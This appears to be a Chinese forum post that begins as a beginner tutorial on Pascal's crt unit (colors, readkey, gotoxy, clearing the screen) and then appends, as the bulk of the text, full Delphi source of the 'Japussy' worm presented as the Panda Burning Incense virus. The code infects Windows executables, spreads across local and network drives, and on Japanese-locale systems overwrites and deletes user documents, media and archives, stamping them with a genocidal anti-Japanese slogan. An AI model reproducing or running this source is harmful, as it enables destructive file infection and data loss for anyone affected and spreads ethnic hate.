用单元前要在程序头打上uses （第一个使用的单元名称），（第二个使用单元名称）;
由于单元太多，先讲crt单元：
crt单元可以用来做游戏，其中颜色和readkey还有gotoxy是非常有用地。因此先介绍这三个恶心的东西：
颜色是textcolor（x） x取值范围为0到31。至于各个数字代表什么颜色，请往下看。
readkey是字符类型（char）格式：c：=readkey；其中于布尔类型的keypressed 配合更好。（keypressed可以判断键盘是否被按下）
gotoxy可以将光标移到n行m列：gotoxy（m，n）；（pascal 先列后行）恶心
Delline与Clreol的区别:Delline后,下一行会往上提,Clreol不会。
Pascal中的颜色代码： 0 黑 1 深蓝 2 绿 3 天蓝 4 红 5 粉 6 橙 7 白 8 灰 9 蓝紫 10亮绿 11亮蓝 12亮红 13亮粉 14亮黄 15亮白 16闪黑 17闪蓝 18闪绿 19闪天蓝 20闪红 21闪粉 22闪橙 23闪白 24闪灰 25闪蓝紫 26闪亮绿 27闪亮蓝 28闪亮红 29闪亮粉 30闪亮黄 31闪亮白
还有一部分东东未讲，请等单元介绍二（集齐30个顶立刻开写）
好吧没人理我，那我继续写下去
crt单元中有清屏的东东：clrscr；
还有一个可以清光标所在行的字符：clreol；
还有一个可以将输出变为改写：cursorbig；
还有一个改背景颜色：textbackgroud；
先讲这么多。附上用单元编出的病毒（超长的哟，不要尝试运行。名字：熊猫烧香（其中一部分））：
program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; IconOffset = $12EB8; { HeaderSize = 38912; IconOffset = $92BC; } IconSize = $2E8; IconTail = IconOffset + IconSize; ID = $44444444; Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; {} function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; {} procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; {} procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; {} procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; {} procedure SendMail; begin end; {} procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try if CompareText(FileName, 'JAPUSSY.EXE') = 0 then Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then begin IsPE := True; Break; end; end; SrcStream.Seek(-4, soFromEnd); SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then Exit; IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try CopyStream(HdrStream, 0, DstStream, 0, IconOffset); CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); DstStream.Free; end; except; end; end; {} procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); FileHandle := FileOpen(FileName, fmOpenWrite); try Size := GetFileSize(FileHandle, nil); i := 0; Randomize; Max := Random(15); if Max < 5 then Max := 5; Mass := Size div Max; Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); end; DeleteFile(PChar(FileName)); except end; end; {} function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do begin D := Chr(i + 65); Str := D + ':\'; DiskType := GetDriveType(PChar(Str)); if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end; end; {} procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 0 else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 1 else Result := 2; end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin InfectOneFile(Fn); end else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin end else if Ext = '.WAB' then begin end else if Ext = '.ADC' then begin end else if Ext = 'IND' then begin end else begin if IsJap then begin if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); end; end; end; Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings + '\', Mask); FreeAndNil(SubDir); end; {} procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then IsJap := True; DriverList := GetDrives; Len := Length(DriverList); while True do begin for i := Len downto 1 do LoopFiles(DriverList + ':\', '*.*'); SendMail; Sleep(1000 * 60 * 5); end; end; {} begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) else begin end; if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles else begin TmpFile := ParamStr(0); Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; ExtractFile(TmpFile); FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); InfectFiles;end; end. 请等单元介绍三
